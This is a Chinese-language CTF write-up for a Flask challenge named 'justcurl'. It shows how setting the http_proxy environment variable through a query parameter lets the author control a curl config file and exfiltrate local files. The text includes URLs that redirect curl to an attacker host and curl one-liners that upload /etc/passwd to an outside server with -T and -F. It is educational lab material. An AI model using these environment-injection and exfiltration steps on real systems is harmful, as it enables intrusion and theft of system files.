偶尔看到一个师傅赛后询问某比赛题目,做了下,他说他们那组是0解。远程环境关了,只有附件,所以我也不确定是不是预期解,应该差不多。(PS:本人技术比较菜,如有错误欢迎大师傅们指出,万分感谢,求轻喷
# 题目名叫justcurl from flask import render_template, request, Flask import os app = Flask(__name__) def check(s): if 'LD' in s or 'BASH' in s or 'ENV' in s or 'PS' in s: return False return True @ app.route('/') @ app.route('/index') def index(): try: choose = request.args.get('choose') except: choose = "" try: key = request.args.get('key') except: key = "" try: value = request.args.get('value').upper() except: value = "" if value: if check(value): os.environ[key] = value if choose == "o": cmd = "curl http://127.0.0.1:5000/result -o options.txt" elif choose == "K": cmd = "curl http://127.0.0.1:5000/result -K options.txt" else: cmd = "curl http://127.0.0.1:5000/result" try: res = os.popen(cmd).read() return "your cmd is : " + cmd + " \n and your result id :" + res except: return "error" @ app.route('/result') def logout(): code = "no result" #return render_template("index.html",code=code) #因为不知道远程啥样且没静态文件所以我暂且把这里这样改了 return code if __name__ == "__main__": app.run(host='0.0.0.0', port=5000)
我是本地用ubuntu:20.04的docker下了个python和curl搭的环境。
刚开始以为要用p神的变量注入,尝试了下发现好像不太行,又尝试了一些其它方法都没成功,后来去谷歌了下环境变量和curl,搜到了这篇文章 https://droidyue.com/blog/2021/07/07/set-proxy-for-curl/ ,就是配置临时环境变量 http_proxy 让终端流量走代理,(之前知道这个知识点,但没想到),尝试了下可以,http://10.0.0.3:5000/?key=http_proxy&value=http://10.0.0.2:22222/
=========================================================================
然后这样可以控制那个options.txt的文件内容,我这里是手动粘贴了个相应报文,最后ctrl c结束连接,http://10.0.0.3:5000/?choose=o&key=http_proxy&value=http://10.0.0.2:22222/
=========================================================================
然后去搜curl的参数(好像不同的环境curl -h 结果还不太一样?这个docker里的curl是有K这个参数,注意是大写的K)
刚开始尝试写了一些 —-config /etc/passwd
之类的,但只能在日志里看到warning信息,web界面啥都看不到,写入 -d ‘a=a’ 后得到post数据包才发现原来是没理解明白(
然后就是常规的curl发文件了,http://10.0.0.3:5000/?choose=K&key=http_proxy&value=http://10.0.0.2:22222/
因为不是远程所以我也不太清楚是不是非预期,总之还是学到了一些以前不知道的知识(
1,今天重新搜curl相关的资料时发现一个对curl参数详解的文档,每个参数都加了Example,强烈建议看看 https://curl.se/docs/manpage.html
2,搜索 ‘curl在ctf中的利用’ 时搜到一篇文章 https://www.anquanke.com/post/id/98896,简单把提到的知识点总结下备忘吧(
1. curl支持其他协议
2. curl http://xxx.xxx.xx.xx -o xxx
3. curl PUT文件 http://172.17.1.101:10003/?url=http://xx.xxx.xx.xx:22222/ -T /etc/passwd
4. curl发文件 curl http://xx.xxx.xx.xx -F [email protected]/etc/passwd